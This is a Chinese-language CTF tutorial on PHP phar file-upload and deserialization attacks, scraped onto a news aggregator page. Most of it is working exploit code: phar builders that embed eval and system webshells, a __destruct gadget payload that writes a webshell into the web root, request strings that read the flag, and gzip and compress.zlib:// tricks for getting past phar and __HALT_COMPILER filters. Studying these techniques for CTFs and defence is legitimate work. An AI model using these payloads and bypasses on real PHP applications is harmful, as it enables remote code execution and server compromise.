当前位置: 首页 > news >正文

Phar 文件上传以及反序列化

1.phar反序列化 触发条件:

1、能将phar文件上传
2、可利用函数 stat、fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、readfile、md5_file、filesize
3、存在魔术方法
4、: / phar 这些字符没有给过滤

5.关闭readonly模式

2.phar://伪协议  是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压 

(1)不涉及反序列化,文件上传+文件包含 上传 例题博客详细解答:

 <?phperror_reporting(0);if(isset($_GET['file'])) {$file = $_GET['file'];if(preg_match('/flag|log|session|filter|input|data/i', $file)) {die('hacker!');}include($file.".php");# Something in phpinfo.php!}else {highlight_file(__FILE__);}
?> 

 第1步:构造phar包  创建一个test.php  里边含有一句话木马

<?php$phar = new Phar("exp.phar"); $phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("test.php", '<?php eval($_REQUEST[8]);?>'); $phar->stopBuffering();
?>

第2步:把生成的exp.phar,改成exp.zip(题目白名单过滤)然后通过文件上传功能点上传 

第3步:访问 图片路径/test.php (由于题目会加php后缀,则文件包含的时候不用加)

?bingdundun=phar://273df00f6d13b569a218fa09629ec81f.zip/test&8=system("cat%20/fla*");

(2)phar反序列化例题:

首先生成上传phar文件(改后缀为jpg绕过检测)

 
$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
//$phar->setStub("GIF89a<?php __HALT_COMPILER(); ? >");
//$phar->setStub('GIF89a'.' __HALT_COMPILER();'); //设置stub 绕过<?php检测
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();

 接着直接文件包含

file.php?file=phar://upload/aa6de1f7ebf0130753f44a728c5ccf61.jpg

(3)对于无回显:

题目源码: (unlink触发phar反序列化)

 <?php
highlight_file(__FILE__);
class Flag{public $cmd;public function __destruct(){@exec($this->cmd);}
}
@unlink($_POST['file']);

首先构造phar文件 ,然后上传

 <?phpclass Flag{public $cmd;public function __construct() {$this->cmd = "echo '<?=system(\$_GET[1]);?>'>/var/www/html/1.php";}}$a = new Flag();$phar = new Phar('A.phar');$phar->startBuffering();$phar->addFromString('test.txt','test'); //添加压缩文件$phar->setStub('<?php __HALT_COMPILER(); ? >'); //如果有文件投检测可以加上文件头$phar->setMetadata($a);//自动计算签名$phar->stopBuffering();
?>

绕过__HALT_COMPILER特征检测:
将 phar 文件使用 gzip 命令进行压缩,可以看到压缩之后的文件中就没有了__HALT_COMPILER(),将 phar.gz 后缀改为 png(png文件可以上传)  执行linux压缩命令:

gzip A.phar

 然后同过link触发反序列化,再利用webshel

file=phar:///var/www/html/upload/321532365639f31b3b9f8ea8be0c6be2.pnghttp://c37a1641-a338-452f-8bb4-0a78ac288eca.node4.buuoj.cn:81/1.php?1=cat%20/flag

(4) phar反序列化绕过方式: 

环境限制phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt

 也可以利用其它协议, 如 filter 过滤器。

php://filter/read=convert.base64-encode/resource=phar://phar.phar

http://www.lryc.cn/news/233424.html

相关文章:

  • 面试其他注意事项
  • sklearn 笔记 BallTree/KD Tree
  • ConstraintLayout使用详解
  • Java8Stream快速使用
  • work环境配置
  • Flutter应用-使用sqflite升级数据库
  • 集群搭建(redis7)
  • 高能分享:软件测试十大必问面试题(附带答案)
  • Java 反射设置List属性
  • wpf devexpress Property Grid创建属性定义
  • 78.子集--77.组合
  • 【C++】模版-初阶
  • 【JavaEE初阶】 TCP服务器与客户端的搭建
  • 23111710[含文档+PPT+源码等]计算机毕业设计基于SpringBoot的体育馆场地预约赛事管理系统的设计
  • 【论文解读】GPT Understands, Too
  • 组合式API_生命周期
  • WPF如何实现应用程序托盘
  • ERROR: column “xxxx.id“ must appear in the GROUP BY
  • 【C++ 学习 ㊲】- 五种特殊类的设计
  • 探索arkui(2)--- 布局(列表)--- 2(支持分组/实现响应滚动位置)
  • systemverilog:interface中端口方向理解
  • 【GUI】-- 08 JButton、JRadioButton、JCheckBox
  • 【postgresql】CentOS7 安装Pgweb
  • 基于python和定向爬虫的商品比价系统
  • 使用GPT-4训练数据微调GPT-3.5 RAG管道
  • 二十三种设计模式全面解析-深入解析模板方法模式的奇妙世界
  • 【Spring】加载properties文件
  • react中间件的理解
  • React函数组件状态Hook—useState《进阶-对象数组》
  • linux 网络 cat /proc/net/dev 查看测试网络丢包情况